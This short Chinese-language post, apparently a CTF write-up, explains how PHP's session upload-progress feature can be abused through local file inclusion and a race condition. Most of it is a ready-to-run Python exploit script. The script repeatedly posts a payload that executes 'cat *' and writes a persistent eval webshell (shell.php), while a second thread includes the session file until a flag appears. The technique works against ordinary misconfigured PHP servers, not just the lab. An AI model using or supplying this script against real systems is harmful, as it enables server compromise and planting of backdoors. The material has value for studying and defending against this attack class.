前些陣子CISCN中出了一道web的檔案包含題目,即使非常簡單,然鵝也敗給了
PHP_SESSION_UPLOAD_PROGRESS
在php5.4.0后提供了一個用于檢測上傳進度的功能,這個功能會在檔案上傳的時候發送一個post請求來檢查狀態,對檔案上傳本身并沒有什么作用,但是我們缺可以利用這個功能進行一些操作
如果在post請求中插入一句話木馬讓服務器生成一個/tmp/sess/檔案我們就可以利用因此如果我們能夠確定
session.upload_progress.enabled = On
存盤Session的路徑
我們就可以定義自己的SESSION ID
但還有另一個困難session.upload_progress.cleanup往往是開啟的,他會在讀取post資訊后清除進度,但我們也可以利用條件競爭來解決
附贈大佬腳本
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://XXXXXXX',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://XXXXXXX?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/289494.html
標籤:其他
